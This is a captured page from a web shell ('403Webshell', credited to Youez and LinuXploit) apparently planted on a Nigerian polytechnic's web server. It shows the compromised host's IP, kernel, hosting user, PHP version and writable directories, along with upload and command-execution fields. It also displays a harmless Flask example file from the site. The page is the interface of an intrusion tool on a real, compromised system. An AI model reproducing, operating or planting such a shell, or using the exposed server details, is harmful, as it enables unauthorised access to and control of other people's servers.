403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.221
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/phd_code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/phd_code/callsss.py
from flask import Flask, request

app = Flask(__name__)

@app.route('/process_data', methods=['POST'])
def process_data():
    data = request.form['data']
    # Process the data as needed
    return 'Data received: ' + data

if __name__ == '__main__':
    app.run()

import requests

url = 'http://localhost:5000/process_data'
data = {'data': 'Hello, server!'}
response = requests.post(url, data=data)
print(response.text)

Youez - 2016 - github.com/yon3zu
LinuXploit